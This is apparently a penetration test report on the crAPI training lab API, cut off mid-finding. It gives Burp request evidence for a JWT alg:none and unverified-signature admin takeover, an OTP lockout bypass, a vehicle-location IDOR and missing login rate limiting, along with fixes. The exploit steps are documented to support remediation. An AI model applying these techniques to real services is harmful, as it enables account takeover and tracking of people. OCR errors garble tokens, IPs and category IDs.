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1 Scope of Work

1.1 Methodology

The methodology used in this vulnerability assessment and penetration test is described below.

01 02 03 04 05 06
Planning & Information Vulnerability Penetration Test Reporting Retesting

Preparation Gathering & Assessment
Analysis

Figure 1 - Vulnerability Assessment and Penetration Testing Methodology

1. Planning and understanding the target system and supporting applications. Understanding
the target system, supporting applications, public and internal IP addresses, operating systems (OS),
databases, and application topology within the relevant work unit, through interviews or the
documentation provided.

2. Conducting the vulnerability assessment. Assessing vulnerabilities and identifying security
weaknesses within the scope of the system and its supporting network infrastructure, including web
applications, operating systems, databases, and networks.

3. Performing penetration testing based on the assessment results. Exploitation aims to prove
that the security gaps or vulnerabilities found exist, and to assess their level of risk and impact on
the company's applications, information, and business reputation.

4. Reporting and discussing results with Team crAPI (Lab). Preparing the report and discussing the
penetration test results and recommendations for improvement, and reaching a mutual agreement
on reducing the existing security gaps. Recommendations are based on the standards and
frameworks used in the test.

5. Retesting the implemented improvements. Retesting the improvements implemented to ensure
that security gaps and risks have been effectively reduced.

The testing approaches used in penetration testing are black-box, grey-box and white-box:

Table 1 - Penetration Testing Approaches

s This
Approach Description PR ——
Black-box Conducted without any prior information or knowledge about the —
target. Testing uses only a list of IP addresses or domains, without
detailed knowledge of the system profile or application topology.
Grey-box Conducted with some information and knowledge about the target, v Applied

including user access to web applications or servers but without full
access rights. Testing is still limited by firewall filtering or a WAF
(Web Application Firewall).

White-box Conducted with comprehensive information about the target, such —
as the application topology, test user IDs, internal network access,
and the IP addresses of the target and users, without any firewall or
WAF filtering.
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1.2 Standards and Frameworks

Findings in this report are classified against the following standards and frameworks: OWASP API
Security Top 10 2023.

1.2.1 APl (OWASP API Security Top 10 2023)

The OWASP API Security Top 10 (2023) lists the most critical security risks specific to APIs. Reference:
https://owasp.org/API-Security/editions/2023/en/0x11-t10/

Table 2 - OWASP API Security Top 10 2023 Categories

ID Category
API1:2023 Broken Object Level Authorization
API2:2023 Broken Authentication
API3:2023 Broken Object Property Level Authorization
API4:2023 Unrestricted Resource Consumption
API5:2023 Broken Function Level Authorization
API16:2023 Unrestricted Access to Sensitive Business Flows
API17:2023  Server Side Request Forgery
API8:2023 Security Misconfiguration
API19:2023 Improper Inventory Management

API10:2023 Unsafe Consumption of APIs

1.3 List of Assets
The scope of security testing and penetration testing for the crAPI (Lab) web application is as follows:
Table 3 - List of Assets
No Name URL Type Status

1 crAPI Identity http://127.0.0.1:8888/identity API FAIL
Service

Service

2 crAPIWorkshop  http://127.8.0.1:8888/workshop AP

3 crAPlI Community http://127.0.8.1:8888/community AP FAIL
Service

Status legend: PASS — no vulnerability found FAIL — vulnerability found
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2 Summary of Vulnerabilities

Testing of the crAPI (Lab) web application identified 11 vulnerabilities: 2 Critical, 3 High and 6
Medium; in addition, 7 tested scenarios did not result in a vulnerability (PASS).

p 6 7

CRITICAL MEDIUM PASS

crAPI Identity Service
http://127.0.0.1:8888/identity - API - 5 vulnerabilities, 3 PASS

Table 4 - Vulnerability Summary - crAPI Identity Service
No Vulnerability Severity CVSS Exploited = Recommendation

1 Broken Authentication Critical 9.8 Yes Verify the JWT signature with the RS256
(API2) - JWT Signature Not public key on every request; reject alg:none
Verified — Authentication and allow-list algorithms.

Bypass
API2:2023 Broken
Authentication

2 Broken Authentication
(API2) - Bypassable Brute-
Force Protection on
Password Reset OTP

API2:2023 Broken
Authentication

7.4 Yes Enforce persistent per-account lockout and
rate-limit/CAPTCHA the forget-password
endpoint; use longer OTPs.

3 Broken Object Level Medium 6.5 Yes Verify vehicle ownership against the
Authorization (API1) - authenticated user before returning
Broken Object Level location.

Authorization (IDOR) on
Vehicle Location

API1:2023 Broken Object Level
Authorization

4 Unrestricted Resource Medium 6.5 Yes Enforce rate limiting and account lockout on
Consumption (API4) - login; add CAPTCHA/anti-automation.
Unrestricted Resource
Consumption — No Login
Rate Limiting
AP14:2023 Unrestricted
Resource Consumption

5 Improper Inventory Medium 5.3 Yes Retire deprecated API versions (v2) and
Management (API9) - maintain an inventory of live endpoints.
Improper Inventory
Management —

Deprecated OTP Endpoint
(v2) Still Live

API19:2023 Improper Inventory
Management
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No Vulnerability Severity CVsSs Exploited n Recommendation

6 Broken Object Property PASS — —
Level Authorization (API3)
- Mass Assignment on
User Registration
API3:2023 Broken Object
Property Level Authorization

Keep the current allow-list of client-settable
fields at registration.

7 Broken Object Level
Authorization (API1) -
Missing Authentication
Check on Vehicle Location
(Unauthenticated Access)

API1:2023 Broken Object Level
Authorization

Keep authentication mandatory; also add
object-ownership checks (see the related
FAIL finding).

8 Broken Authentication
(API2) - Password Reset
OTP Per-Session Lockout

API2:2023 Broken
Authentication

Make the lockout persistent per account so
it cannot be reset via a new OTP request
(see the related FAIL finding).

crAPl Workshop Service
http://127.0.0.1:8888/workshop - API - 5 vulnerabilities, 3 PASS

Table 5 - Vulnerability Summary - crAPl Workshop Service

No Vulnerability Severity CVss Exploited = Recommendation

9 Server Side Request Critical 9.6 Yes Allow-list mechanic endpoints; block internal

10

[N

Forgery (API7) - Server-
Side Request Forgery
(SSRF) via Contact
Mechanic — Internal
MailHog — Account
Takeover

API7:2023 Server Side Request
Forgery

Broken Function Level 7.5 Yes
Authorization (API5) -
Unauthenticated Access
to Order Details

API15:2023 Broken Function
Level Authorization

API1:2023 Broken Object Level
Authorization

Broken Function Level Medium 6.5 Yes
Authorization (API5) -

Broken Function Level

Authorization —

Management Endpoint

Exposes All Users

API15:2023 Broken Function
Level Authorization
API3:2023 Broken Object
Property Level Authorization

Prepared by Muhammad Fagih
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Vulnerability Severity CVsSs Exploited n Recommendation

12 Broken Object Level Medium 6.5 Yes Verify the requested report belongs to the
Authorization (API1) - caller; use UUIDs and minimize returned
Broken Object Level fields.

Authorization (IDOR) on
Mechanic Reports
API1:2023 Broken Object Level
Authorization

API3:2023 Broken Object
Property Level Authorization

13 Unsafe Consumption of Medium 5.4 Yes Validate and sanitize upstream API
APIs (API10) - Unsafe responses; restrict upstream destinations to
Consumption of APIs — a trusted allow-list.

Unvalidated Upstream
Response in Contact
Mechanic

API110:2023 Unsafe
Consumption of APIs

— — Maintain the ownership check on the return
action.

14 Broken Object Level
Authorization (API1) -
Broken Object Level
Authorization (IDOR) on
Order Return

API1:2023 Broken Object Level
Authorization

15  Broken Object Level
Authorization (API1) -
Missing Authentication
Check on Mechanic Report
(Unauthenticated Access)

API1:2023 Broken Object Level
Authorization

— — Keep authentication mandatory; also add
object-ownership checks (see the related
FAIL finding).

— — Claiming the same coupon twice was
rejected (‘already claimed'); the per-user
limit is enforced.

16 Unrestricted Access to
Sensitive Business Flows
(API16) - Unrestricted
Access to Sensitive
Business Flow — Coupon
Claim (Replay Protected)

API16:2023 Unrestricted Access
to Sensitive Business Flows

crAPI Community Service
http://127.0.0.1:8888/community - APl - 1 vulnerability, 1 PASS

Table 6 - Vulnerability Summary - crAPI Community Service

Vulnerability Severity CVSsS Exploited = Recommendation

Security Misconfiguration High . Coerce coupon_code to a string and reject
(API8) - NoSQL Injection objects/operators; validate the input
on Coupon Validation schema.

API8:2023 Security
Misconfiguration

Prepared by Muhammad Fagih 10
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Vulnerability Severity CVsSs Exploited n Recommendation

Enforce string type and reject operators/
objects (see the related FAIL finding).

Security Misconfiguration PASS
(API8) - Coupon Validation
with Normal String Input

API8:2023 Security
Misconfiguration

References used for every finding: OWASP API Security Top 10 2023, Bugcrowd VRT, CWE 4.0, CVSS v3.1.

Prepared by Muhammad Fagih
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3 Findings on API

3.1 crAPIl Identity Service (http://127.0.0.1:8888/identity)

3.1.1 Broken Authentication (API2) - JWT Signature Not Verified — Authentication
Bypass

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

Critical 9.8 /10 Yes CWE-347
Standard mapping API2:2023 Broken Authentication (OWASP API Security Top 10 2023)
Impact rating Critical
Bugcrowd VRT P1 - Broken Authentication and Session Management (VRT 2.1)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected feature / URL http://127.0.0.1:8888/identity/api/v2/user/dashboard JWT Authentication)
Testing approach Grey-box
DESCRIPTION

A broken authentication vulnerability was found in the crAPI identity service where JSON Web Tokens
(JWT) are accepted without verifying their signature. Tokens crafted with the header alg:none (no
signature) are accepted, and a legitimate RS256 token whose payload is modified without re-signing is
also accepted. Because the signature is never validated, an attacker can forge a token for any user and
elevate the role claim to admin.

IMPACT

Attackers can use this vulnerability to fully take over any account without credentials. During testing,
the team forged a token containing the victim's identity and role=admin and accessed the victim's
account data, breaking both Confidentiality and Integrity of the authentication model.

RECOMMENDATION

1. Verify the JWT signature with the server's RS256 public key on every request.
2. Explicitly reject the alg:none algorithm and enforce algorithm allow-listing (RS256 only).
3. Use a mature JWT library with mandatory verification and validate exp, iss, and aud claims.

REFERENCES
* VRT 2.1 - Broken Authentication and Session Management
* https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/
* https://cwe.mitre.org/data/definitions/347.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/v2/user/dashboard (JWT Authentication)

a. The team logged in and used its own valid RS256 token (shown in full) to access its own data, which
returned only the attacker's own resources.

Prepared by Muhammad Fagih
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[ ] Burp Suite — Repeater

NORMAL: token sah sendiri Send P 27.0.0.1:8888

Request Response -

HTTP/1.1 200
HTTP/1.1 Server: openresty/1.27.1.2
ntent-Ty application/json
ntent-Length: 368
i0jE30TA20TASMTQSIMVACCLOMICOMI LON IUXNCWICMYSLSLbLNVZZX11TQ. LVELYKNNGZYSQOVEqLIVM
WSgX1XkvyP_8xBeCNs40s0BWNFP6m15JkS_qAyFmcPI9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF

3ce26b-d797-404b-a961-09d7e45e0d1b" ,
Accept: application/json J
61PINB3CL6ZEAIX1",
6,
INACTIVE",

s/bmw-5.pg",
"vehiclecompany
i el

"name": "BMW"

vehicleLocation": {

"id": 4,

“latitude": 06348",
“longitude": "-84.270172"

: null

» NORMAL FLOW: token RS256 sah milik attacker (role=user) dipakai mengakses data MILIKNYA SENDIRI. Token ditampilkan utuh.

Figure 2 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - normal: valid token, own account

b. The team decoded the JWT (base64url header and payload), changed the algorithm to "none" with an
empty signature, set role=admin and sub=admin@example.com (impersonating the administrator), and
re-encoded the complete forged token (shown end-to-end, untruncated).

[ ] Burp Suite — Repeater
PROSES: buat token alg:none JWT manipulation — decode » modify » re-encode
Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh)
== 1. Token asli hasil login (format: header.payload.signature) ==

P6m15JkS aAvFmcPJ9MahN 4BCGuoIQ71mzzaWAUPd29N9mLh170aiYFP1lhalYV7A4h7XGY9sONFyFwh1GXTSpSESVNGzMBGVb QXNoeabnuvIWnerN6wlkLLOVEKMIVtAKEUPey1GciCnp-6Vm_xf7953AWjZ1Zg9d3kbDj

== 2. Base64URL-decode tiap bagian ==

header eyJhbGci0iJSUzIINiJ9
{"alg":
eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20iL! 'YXQi0jE30TA20TASMTQsImV4cCI6MTCcSMTISNTUXNC m9sZSI6InVzZXIifQ
{¥subs= "iat": 0690714, p": 1791295514,

== 3. Susun token PALS alg diganti '(none)' (tanpa signature), su admin@example.com, role->admin| ==

header baru base64url({"al none)', "typ": "JWT"})
eyJhbGci0iJub251IiwidHlwIjoiS1dUIn®
payload baru base64url({"sub" admin@example.c , "role": "admin}', "ia 1790690714, "exp": 1999999999})
eyJzdWIi0iJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUi0iJhZG1lpbiIsImlhdCI6MTc5MDYSMDcxNCwiZXhwljox0Tk50Tk50Tk5Q
signature = (KOSONG)

== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
eyJhbGci0iJub251IiwidH1wIjoiS1dUIng).(eyJzdWIi0iJhZG1pbkBleGFtcGx1LmNvbSISInIvbGUi0iIhZG1pbiIsImLhdCIGMTC5MDYSMDCXNCwiZXhwljox0Tk50Tk50TK5FQ L

» Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub: .com, role=admi

Figure 3 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - process: craft alg:none token

c. The team sent the forged alg:none token; the server accepted it and returned the ADMIN account
(id=5, ROLE_ADMIN).
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@ Burp Suite — Repeater

EXPLOIT: kirim token alg:none Send b http://127.0.0.1:8888

Request Response *

= kotak merah = bagian yang diubah dari normal flow

HTTP/1.1 200
GET /identity/api/v2/user/dashboard HTTP/1.1 Ser openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer Content-Length: 231
CGX1LmNvbSIsInJvbGUi0iJhZG1pbiIsImLhdCIGMTCc5MDY5SMDCXNCwiZXhwl jox0Tk50Tk50Tk5Q.
Accept: application/json {

"'admin@example.com/',
"number": "9010203040",
‘picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK@9fD:
"Admin_vide
edit": 100.0,
deo_id": 5,
role": '(ROLE_ADMIN}'

» EKSPLOITASI: token alg:none tanpa signature (utuh di header) DITERIMA -> mengembalikan akun ADMIN (id=5, ROLE_ADMIN). Impersonasi admin penuh.

Figure 4 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - exploit: alg:none token accepted

d. The team took the wvalid RS256 token, edited its payload to role=admin and
sub=admin@example.com, and reattached the ORIGINAL signature without re-signing, producing the
complete tampered token (shown in full).

[ ] Burp Suite — Repeater
PROSES: tamper RS256 (signature lama) JWT manipulation — decode » modify » re-encode
Edit payload token RS$256 -> sub=admin, role=admin -> pasang kembali signature LAMA (tidak valid)

== 1. Token RS256 asli (signature valid) ==

NoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1GciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDj

== 2. Decode pavload ==
{"sub": "iat": 1790690714, “exp": 1791295514, "role": "user"}

== 3. Ubah payload (role user-3adminj, sub->ladmin@example.com) . & signature TIDAK diubat
payload baru = base64url({"sub": '{admin@example.com/', "iat": 17 0714, "exp": 1791295514, "rol

hez eyJhbGci01JSUZIIN1J9 (tetap, alg RS256)
sign re QqiVE1YKhnGZYsQoV8qL rVMWSqX1XkvyP_8xBeCNs40s0BwNFP6m1

6zcDsSmQFMHmMuUb1 Lsdv/g (signature LAMA, I1DAK di-resign)

== 4. Token hasil (header.payload_baru.signature_lama) —- signature tak cocok dgn payload (utuh) ==
eyJhbGci0iJSUzIINi)9. eyJzdWIi0iJhZG1pbkBleGFtcGx1LmNvbSIsImlhdCI6MTcSMDY5MDCXNCwiZXhwIjoxNzkxMjkINTEOLCIyb2x1IjoiYWRtaW4ifQL qiVE1YKhnGZYsQoV8qL rVMWSgX1XkvyP_8xBeCNs40s!

KmGNS110P6zcDsSmQFMHmubilsdv7g

» Signature lama sudah tidak cocok dengan payload yang diubah. Server yang benar akan menolak; crAPI justru menerimanya.

Figure 5 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - process: tamper RS256, keep old signature

e. The team sent the tampered RS256 token; the server still returned HTTP 200 with the victim's data,
proving the signature is not verified (Confidentiality + Integrity).
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[ ) Burp Suite — Repeater

EXPLOIT+CIA: kirim RS256 tampered http://127.0.0.1:8888

Request Response -

HTTP/1.1 200

GET /identity/api/v2/user/dashboard HTTP/1.1 Server: openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Authorization: Bearer |eyJhbGci0iJSUzI1INiJ9.eyJzdWIi0iJhZG1lpbkBleGFtcGx1lLmNvbSIsImU Content-Length: 231
hdCI6MTc5MDY5MDcxXNCwizZXhwIjoxNzkxMjkINTEQLCIyb2x1IjoiYWRtaW4ifQ.qiVE1YKhnGZYsQoV8q
LrVMWSgX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170,
aiYFPlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5SVNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUP, iy
ey1GciCnp-6Vm_xf7953AW]jZ1Zg9d3kbDjHAVN697pn2czd98QQdK2E-DCQSy t8K8PLFR11qqB03gDeIv2 "name": "Admin",
HFJ-R-eds9QfnoeCUUk4BPBCND7BbqTFVVx6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g *{admin@example.com)',
Accept: application/json '9010203040",

icture_url": null,

"data:image/jpeg;base64,B7HoBfKO9fDx0A:

"video_name": "Admin_video",

"available_credit": 100.0,

video_id": 5,

"role": '"ROLE_ADMIN/'

» DAMPAK CIA: signature tidak cocok tetap 200 -> Confidentiality (data akun admin terbaca) + Integrity (identitas & role dipalsukan jadi admin). Signature TIDAK diverifikasi.

Figure 6 - JWT Signature Not Verified — Authentication Bypass (API2) - http://127.0.0.1:8888/identity/api/v2/user/
dashboard (JWT Authentication) (Grey-box) - impact: tampered token accepted, CIA

Prepared by Muhammad Fagih
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3.1.2 Broken Authentication (API2) - Bypassable Brute-Force Protection on
Password Reset OTP

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.4 1 Yes CWE-307

Standard mapping API12:2023 Broken Authentication (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P2 - Broken Authentication and Session Management (VRT 2.4)
CVSS vector CVSS:3.1/AV:N/AC:H/PR:N/UL:N/S:U/C:H/I:H/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)
Testing approach Grey-box
DESCRIPTION

A weak brute-force protection vulnerability was found in the password reset flow. The OTP verification
endpoint locks after 9 wrong attempts per OTP session, but this counter is reset every time forget-
password is called, and forget-password is itself neither rate-limited nor CAPTCHA-protected. The
protection can therefore be bypassed with a cyclic pattern against the 4-digit OTP.

IMPACT

Attackers can use this vulnerability to take over any account whose email is known. Because the OTP is
only 4 digits (10,000 combinations) and each cycle grants 9 unimpeded guesses against a fresh OTP, an
automated attacker can reset the victim's password (Confidentiality + Integrity).

RECOMMENDATION

1. Enforce a persistent per-account lockout that is not reset by requesting a new OTP.
2. Rate-limit and add CAPTCHA/anti-automation to the forget-password endpoint.
3. Use OTPs of at least 6 digits with short expiry and cumulative failure invalidation.

REFERENCES
* VRT 2.4 - Broken Authentication and Session Management
* https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/
* https://cwe.mitre.org/data/definitions/307.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

a. The team triggered the password reset by calling forget-password for the victim's email, which
returned HTTP 200 (normal flow).

Prepared by Muhammad Fagih
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[ ] Burp Suite — Repeater

NORMAL: minta OTP reset Send b http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/forget-password HTTP/1.1

Host: 127.0.0.1:8888 Se openresty/1.27.1.2

Content-Type: application/json t -Type: application/json
Content-Length: 75

{

"status": 200
}

» NORMAL FLOW: alur lupa password mengirim OTP 4-digit ke email korban.

Figure 7 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Normal flow: request password-reset OTP

b. The team submitted one wrong OTP to check-otp, which returned Invalid OTP (normal single
attempt).

[ ] Burp Suite — Repeater
NORMAL: satu percobaan OTP Send b http://127.0.0.1:8888

Request Response -

openresty/1.27.1.2
Content-Type: application/json
Content-Length: 58

"password" :"Pwn3d!23"} ‘
"message": '{Invalid OTP)! Please try again..",

"status": 500
}

» NORMAL FLOW: satu percobaan OTP yang salah -> Invalid OTP.

Figure 8 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Normal flow: one wrong OTP attempt

c. After the lockout would trigger, the team called forget-password again (HTTP 200, no throttle),
resetting the attempt counter and issuing a new OTP. Repeating the cycle [reset -> 9 guesses] brute-
forces the 4-digit OTP and resets the victim's password (Confidentiality + Integrity).

@ Burp Suite — Repeater
EXPLOIT+CIA: reset lockout via forget-password Send > http://127.0.0.1:8888

Request Response -

HTTP/1.1 200
identity/api/auth/ t-password HTTP/1.1 Se openresty/1.27.1.2
Host: 127.0.0.1:8888 -Type: application/json
Content-Type: application/json Content-Length: 75

# forget-password DIPANGGIL ULANG (tanpa rate-limit) => counter lockout ter-RESET
& OTP baru terbit

» DAMPAK CIA: forget-password tak dibatasi & me-reset lockout. Pola [reset -> 9 tebakan] diulang menembus OTP 4-digit -> reset password korban. Confidentiality + Integrity (ATO).

Figure 9 - Bypassable Brute-Force Protection on Password Reset OTP (API2) - http://127.0.0.1:8888/identity/api/auth/
v3/check-otp (Password Reset OTP) (Grey-box) - Impact: forget-password resets lockout, enabling ATO
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3.1.3 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Vehicle Location

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 0 Yes CWE-639

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)
Impact rating High
Bugcrowd VRT P2 - Insecure Direct Object References (IDOR) (VRT 3.3)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)
Testing approach Grey-box

DESCRIPTION

A Broken Object Level Authorization (BOLA/IDOR) vulnerability was found in the vehicle location
endpoint. The server authenticates the caller but does not verify that the requested vehicle belongs to
that user, so supplying another user's vehicle UUID returns that vehicle's GPS location.

IMPACT

Attackers can use this vulnerability to physically track other users in real time and to obtain their name
and email. During testing, the team read the victim's live GPS coordinates and email using the
attacker's own token (Confidentiality).

RECOMMENDATION

1. Verify that the requested vehicle belongs to the user in the token before returning its location.
2. Implement centralized object-level authorization checks.
3. Avoid exposing owner Pll in the location response.

REFERENCES
* VRT 3.3 - Insecure Direct Object References
* https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
* https://cwe.mitre.org/data/definitions/639.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)

a. The team logged into the crAPI web application. The Dashboard shows the vehicle's live location on a
map — the feature backed by the vulnerable API tested below.
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crAPI Dashboard Shop Community Good Morning, Muhammad Fagih! @ Muhammad ... ¥
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Figure 10 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888 (Grey-box) -
crAPI Dashboard showing the vehicle location map (browser)

b. The team requested the location of its OWN vehicle (uuid 9b3ce26b-d797-404b-a961-09d7e45e0d1b)
using the attacker's token, which returned HTTP 200 (normal behavior).

[ ] Burp Suite — Repeater
NORMAL: lokasi kendaraan sendiri Send > http:/127.0.0.1:8888

Request Response -

normal flow

le/9b3ce26b-d797-404b-a961-09d7e45¢0d1b) location HTTP/
Content-Type: applicati
Content-Length: 177

sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM

» NORMAL FLOW: attacker meminta lokasi kendaraan MILIKNYA SENDIRI (uuid 9b3ce26b...) -> 200. Perilaku semestinya.

Figure 11 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888/identity/api/v2/
vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Normal flow: own vehicle location

c. The team changed only the vehicle UUID in the path to the VICTIM's vehicle
(8ba9066d-8484-4ef7-8a7b-c0fa3cb2e687) while keeping the same attacker token. The server returned
HTTP 200 with the victim's GPS coordinates and email (Confidentiality).
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@ Burp Suite — Repeater

EXPLOIT+CIA: ubah UUID ke korban Send P http://127.0.0.1:8888

Request Response -

normal flo
HTTP/1.1 200
GET /identity/api/v2/vehicle/8ba9066d-8484-4ef7-8a7b-cOfa3cb2e687)/ location HTTP/ Ser openresty/1.27.1.2

1.1 Content-Type: application/json
Host: 127.0.0.1 Content-Length: 178
Authorization:

10jE30TA20TA3MTQsImV4cCIGMTCcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
"carId": "8ba 6d-8484-4ef7-8a7b-c@fa3ch2e687

P1halYV7A4h7XGY9SQNFyFwh LGXTSpSESVNGZMBGVb_QXNoeabnuvIWne rN6w LKLLOVEKMIVtAKEUPey1G leLocation": {

ciCnp-6Vm xf7a53AWiZ1Za9d3kbDiHAVN697pn2czd9800dK2E-DCOSVt8K8PLFR11aaB03aDeIv2HF]~
'(37.406769",
ongitude": "-94.705528"
h
"fullName": "Muhammad Faaih",
"email":

» DAMPAK CIA: UUID kendaraan diganti ke milik KORBAN (8ba9066d...) dengan token attacker yang sama -> 200 mengembalikan koordinat GPS + email korban. C: i 1 lokasi fisik lain.

Figure 12 - Broken Object Level Authorization (IDOR) on Vehicle Location (API1) - http://127.0.0.1:8888/identity/api/v2/
vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Exploit: victim UUID returns victim location + email
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3.1.4 Unrestricted Resource Consumption (API4) - Unrestricted Resource
Consumption — No Login Rate Limiting

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-307

Standard mapping API14:2023 Unrestricted Resource Consumption (OWASP API Security Top 10 2023)
Impact rating Medium
Bugcrowd VRT P4 - Broken Authentication and Session Management - Lack of Rate Limiting (VRT 2.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/login (Login)
Testing approach Grey-box

DESCRIPTION

The login endpoint enforces no rate limiting or account lockout. Repeated failed logins are not
throttled, enabling brute-force/credential stuffing and unbounded resource consumption.

IMPACT

Attackers can use this to brute-force credentials and to exhaust server resources with unlimited
authentication requests (Availability, and Confidentiality via brute-force).

RECOMMENDATION

1. Enforce per-account/per-IP rate limiting and progressive account lockout.
2. Add CAPTCHA/anti-automation and anomaly detection.
3. Limit concurrent requests per client.

REFERENCES
* VRT 2.6 - Broken Authentication and Session Management - Lack of Rate Limiting
* https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/
* https://cwe.mitre.org/data/definitions/307.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/auth/login (Login)

a. The team submitted a single login attempt with a wrong password, which returned HTTP 401 (normal
failed login).
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[ ] Burp Suite — Repeater

NORMAL: satu login gagal Send » http://127.0.0.1:8888

Request Response

POST /identity/api/auth/login HTTP/1.1 HTTP/1.1 401

Host: 127 18888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 76

{"email": "password":"wrongpass"}

"Invalid| C
uired": false

» NORMAL FLOW: satu percobaan login dengan password salah -> 401.

Figure 13 - Unrestricted Resource Consumption — No Login Rate Limiting (API4) - http://127.0.0.1:8888/identity/api/
auth/login (Login) (Grey-box) - single failed login

b. The team then sent 20 consecutive login attempts; all returned HTTP 401 with no HTTP 429 or
lockout at any point, proving there is no rate limiting.

[ ] Burp Suite — Repeater
EXPLOIT: 20x tanpa rate-limit Send http://127.0.0.1:8888

Request Response

ari normal
Status 20 percobaan beruntun:
POST /identity/api/auth/login HTTP/1.1 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401
Host: 127.0.0.1:8888

Content-Type: application/json => tidak ada (429)/lockout pada percobaan mana pun.

"password":"wrong<N>"}
# 20 percobaan login BERUNTUN -> semua 401, TIDAK ada HTTP 429/lockout

» DAMPAK: tidak ada pembatasan laju pada login -> credential brute-force/stuffing & konsumsi sumber daya tak terbatas. Availability & (via brute-force) Confidentiality terancam.

Figure 14 - Unrestricted Resource Consumption — No Login Rate Limiting (API4) - http://127.0.0.1:8888/identity/api/
auth/login (Login) (Grey-box) - 20 attempts, no rate limiting
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3.1.5 Improper Inventory Management (API9) - Improper Inventory Management
— Deprecated OTP Endpoint (v2) Still Live

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 5.3 /10 Yes CWE-1059

Standard mapping API19:2023 Improper Inventory Management (OWASP API Security Top 10 2023)
Impact rating Low
Bugcrowd VRT P5 - Server Security Misconfiguration (VRT 1.13)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:L/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v2/check-otp (Password Reset OTP - legacy)
Testing approach Grey-box

DESCRIPTION

Multiple versions of the OTP verification endpoint are live simultaneously: the deprecated /identity/api/
auth/v2/check-otp still works alongside the current v3. Leaving old versions live increases attack surface
and may expose weaker controls.

IMPACT

Attackers can choose the endpoint version with the weakest protections (e.g., for OTP brute-force), and
unmaintained versions may miss security fixes (Confidentiality/Integrity).

RECOMMENDATION

1. Retire/disable deprecated API versions (v2) no longer in use.
2. Maintain an APl version inventory and document live endpoints.
3. Apply uniform security controls across all live versions.

REFERENCES

* VRT 1.13 - Server Security Misconfiguration

* https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/
* https://cwe.mitre.org/data/definitions/1059.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE
